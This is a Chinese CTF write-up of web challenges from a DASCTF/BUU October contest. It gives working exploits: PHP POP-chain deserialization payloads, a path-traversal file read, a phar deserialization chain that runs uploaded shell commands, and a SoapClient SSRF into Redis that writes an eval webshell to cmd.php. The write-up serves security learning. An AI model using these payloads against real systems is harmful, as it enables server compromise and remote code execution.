前言 晚来的比赛web题解,这次buu的十月赛web部分的题目对于我来说质量还是蛮高的,因为这几天比较忙,一直没有去复现总结,不过该复现的还得复现,复现了这次比赛又能学到不少知识,嘿嘿嘿。
EasyPOP 考察php的pop链,这题相比之下算是web中的签到题了。看题目源码:
<?php highlight_file (__FILE__ );error_reporting (0 );class  fine       private  $cmd ;     private  $content ;     public  function  __construct ($cmd , $content )      {        $this ->cmd = $cmd ;         $this ->content = $content ;     }     public  function  __invoke (      {        call_user_func ($this ->cmd, $this ->content);     }     public  function  __wakeup (      {        $this ->cmd = "" ;         die ("Go listen to Jay Chou's secret-code! Really nice" );     } } class  show     public  $ctf ;     public  $time  = "Two and a half years" ;     public  function  __construct ($ctf       {        $this ->ctf = $ctf ;     }     public  function  __toString (      {        return  $this ->ctf->show ();     }     public  function  show (string       {        return  $this ->ctf . ": Duration of practice: "  . $this ->time;     } } class  sorry     private  $name ;     private  $password ;     public  $hint  = "hint is depend on you" ;     public  $key ;     public  function  __construct ($name , $password       {        $this ->name = $name ;         $this ->password = $password ;     }     public  function  __sleep (      {        $this ->hint = new  secret_code ();     }     public  function  __get ($name       {        $name  = $this ->key;         $name ();     }     public  function  __destruct (      {        if  ($this ->password == $this ->name) {               echo  $this ->hint;         } else  if  ($this ->name = "jay" ) {             secret_code::secret ();         } else  {             echo  "This is our code" ;         }     }     public  function  getPassword (      {        return  $this ->password;     }     public  function  setPassword ($password void       {        $this ->password = $password ;     } } class  secret_code     protected  $code ;     public  static  function  secret (      {        include_once  "hint.php" ;         hint ();     }     public  function  __call ($name , $arguments       {        $num  = $name ;         $this ->$num ();     }     private  function  show (      {        return  $this ->code->secret;     } } if  (isset ($_GET ['pop' ])) {    $a  = unserialize ($_GET ['pop' ]);     $a ->setPassword (md5 (mt_rand ())); } else  {     $a  = new  show ("Ctfer" );     echo  $a ->show (); } ?>  
代码比较长,但是好懂,最终漏洞触发点是为fine类中的call_user_func函数,达到任意函数调用,链子也比较简单:
sorry:__destruct() -> show:__toString() -> secret_code:call() -> secret_code:show() -> sorry:__get -> fine : __invoke 
这里防止我们调用的函数为空,需要绕过wakeup,常规绕过就是属性值大于原有值,这里看wp学习另一种绕过方式,fast_destruct,常规的执行顺序:(wake_up -> __desturct)
我们去掉一个大括号,让它强制先执行__destruct方法,但是这个方法在只有一个类是不适用的。
这一题还是比较简单的,直接上exp。
<?php class  fine     private  $cmd ='passthru' ;     private  $content ='ls' ;     function  __construct (     } } class  show     public  $ctf ;     public  function  __construct (              } } class  sorry     private  $name =1 ;     private  $password =1 ;     public  $hint ;     public  $key ;      public  function  __construct (         $this ->hint = new  show ();         $this ->key= new  fine ();     } } class  secret_code     protected  $code ;     public  function  __construct (         $this ->code=new  sorry ();     } } $a  = new  sorry ();$a ->hint->ctf=new  secret_code ();$str  =  serialize ($a );$str1  = str_replace ('fine":2' ,'fine":5' ,$str );echo  urlencode (($str1 ));?> 
因为这一题的php版本为php7,对类属性不敏感,所以把私有属性全都改为public编写exp会更简单。
hade_waibo 这道题网上查到最多的就是非预期解法。
随便注册一个用户名进去后有三个功能,上传,删除和搜索。我们在搜索功能上发现可以任意读文件,也就是这里存在非预期,直接目录穿越读取start.sh,payload为:
file.php?m=show&filename=…/…/…/…/start.sh 
这个文件有flag的文件名,再利用任意文件读取漏洞读出flag就行了。这个方法很巧妙,但是学不到什么东西,看官方wp放的预期解:
把网站源码读出来,一共有三个php文件,代码一共太多了,这里只放关键代码,这里我们利用class.php的User类和Test类,
<?php class  User     public  $username ;     public  function  __construct ($username          $this ->username = $username ;         $_SESSION ['isLogin' ] = True;         $_SESSION ['username' ] = $username ;     }     public  function  __wakeup (         $cklen  = strlen ($_SESSION ["username" ]);         if  ($cklen  != 0  and  $cklen  <= 6 ) {             $this ->username = $_SESSION ["username" ];         }     }     public  function  __destruct (         if  ($this ->username == '' ) {             session_destroy ();         }     } } 
Test类:
class  Test     public  $value ;       public  function  __destruct (         chdir ('./upload' );         $this ->backdoor ();     }     public  function  __wakeup (         $this ->value = "Don't make dream.Wake up plz!" ;     }     public  function  __toString (         $file  = substr ($_GET ['file' ],0 ,3 );         file_put_contents ($file , "Hack by $file  !" );         return  'Unreachable! :)' ;     }     public  function  backdoor (         if (preg_match ('/[A-Za-z0-9?$@]+/' , $this ->value)){             $this ->value = 'nono~' ;         }         system ($this ->value);     } } 
Test类有我们的system敏感函数,但是过滤了字母数字,这两个类可以反序列化,另外也有文件包含,所以我们可以通过上传phar文件来执行这个system函数,另外参数value在__wakeup函数会被赋值,这里我们要用的User类了,我们可以让Test类中的value属性去引用User类中的地址,那么就可以通过修改username的值来间接控制value的内容,在User类的__wakeup函数有个赋值操作
$_SESSION[“username”]就是我们注册的用户名,所以赋值操作我们可控,那么剩下一个问题,我们怎么在过滤字母数字的情况下执行linux命令,可以用. ./*来执行当前目录下的文件。linux中可以用点来执行任意shell文件,那么通过网站的上传功能上传一个shell文件,然后再注册一个用户名为. ./*的用户,上传一个phar文件来触发反序列化,话不多说,开始实操,嘿嘿
通过上传界面上传写入ls /命令的shell文件。
接下来就是注册一个. ./*的用户名,编写exp
<?php class  User     public  $username ; } class  Test     public  $value ;   } $b =new  User ();$a =new  Test ();$b ->username=new  Test ();$b ->aaa=$a ;$a ->value=&$b ->username;$phar  = new  Phar ("abcd.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($b );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?> 
这里看exp有个问题,为什么User类要新增一个属性去实例化Test类,这里看到一位师傅的博客(DASCTF X GFCTF 2022十月挑战赛!_递归 trash can的博客-CSDN博客 )解释的比较详细,我自己也在本地测试看看生成的序列化串,
这是正常的,
这里的value属性就没有引用了,所以新加的属性是为了让value能够引用的,直接上传phar文件,
最后利用网站的搜索功能,用phar伪协议读取,
这里是成功执行命令了。同时出现了flag文件,通过任意文件读取获得flag。
EasyLove 题目描述就给了hint,让我们打redis数据库,好家伙,看题目源码:
<?php highlight_file (__FILE__ );error_reporting (0 );class  swpu     public  $wllm ;     public  $arsenetang ;     public  $l61q4cheng ;     public  $love ;     public  function  __construct ($wllm ,$arsenetang ,$l61q4cheng ,$love          $this ->wllm = $wllm ;         $this ->arsenetang = $arsenetang ;         $this ->l61q4cheng = $l61q4cheng ;         $this ->love = $love ;     }     public  function  newnewnew (         $this ->love = new  $this ->wllm ($this ->arsenetang,$this ->l61q4cheng);     }     public  function  flag (         $this ->love->getflag ();     }     public  function  __destruct (         $this ->newnewnew ();         $this ->flag ();     } } class  hint     public  $hint ;     public  function  __destruct (         echo  file_get_contents ($this -> hint.'hint.php' );     } } $hello  = $_GET ['hello' ];$world  = unserialize ($hello );
有个hint类可以读取hint.php,先写个序列化串看一下提示吧,
<?php class  hint public  $hint ="php://filter/read=convert.base64-encode/resource=/var/www/html/" ;} $a  = new  hint ();echo  serialize ($a );?> 
这里要用绝对路径,不然读取不出来。
这里写的20220311就是redis数据库的密码了。我们怎么去访问redis数据库,别急,这里还有个swpu类,
实例化任意类,那么我们可以利用某些原生类,结合题目描述打内网redis数据库,我们能用的原生类就只有SoapClient,
这里会调用一个不存在的方法,正好可以触发SoapClient原生类的call方法,那么利用条件满足。
我们知道SoapClient类需要两个参数,第一个参数通常指明是否是wsdl模式,我们构造的时候通常为Null,第二个参数是个数组,在非wsdl模式下,必须设置location和uri选项,其他可选。我们可以通过uri选项向内网redis发指令写木马。
AUTH 20220311 //验证客户端链接 CONFIG SET dir /var/www/html  //设置写入的目录 SET x '<?@eval(\$_POST[1]);?>'  //设置写入的内容 CONFIG SET dbfilename cmd.php  //设置写入的文件名 SAVE  //保存结束 
redis一般在主机的6379开启服务,编写exp:
<?php $target  = "http://127.0.0.1:6379" ;$option  = array ("location" =>$target ,"uri" =>"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE\r\nhello" );class  swpu 	public  $wllm ;     public  $arsenetang ;     public  $l61q4cheng ;     public  $love ; 	public  function  __construct ( 	 {		$this ->wllm = "SoapClient" ; 		$this ->arsenetang = Null; 	} } $aa  = new  swpu ();$aa ->l61q4cheng = $option ;echo  urlencode (serialize ($aa ));?>  
打入payload后在web目录下访问cmd.php,
用蚁剑连接。 查看flag文件,有大小打开却没有东西,那肯定就是无权限了,使用date命令将flag给带出来。
最终得到flag。
BlogSystem 最后一个题目,感觉考的知识点好多啊,复现起来也比较困难,在此就不写上自己的题解了,贴上出题人pysnow师傅的文章DASCTF10月赛出题笔记 BlogSystem - Pysnow’s Blog 写的真的非常详细。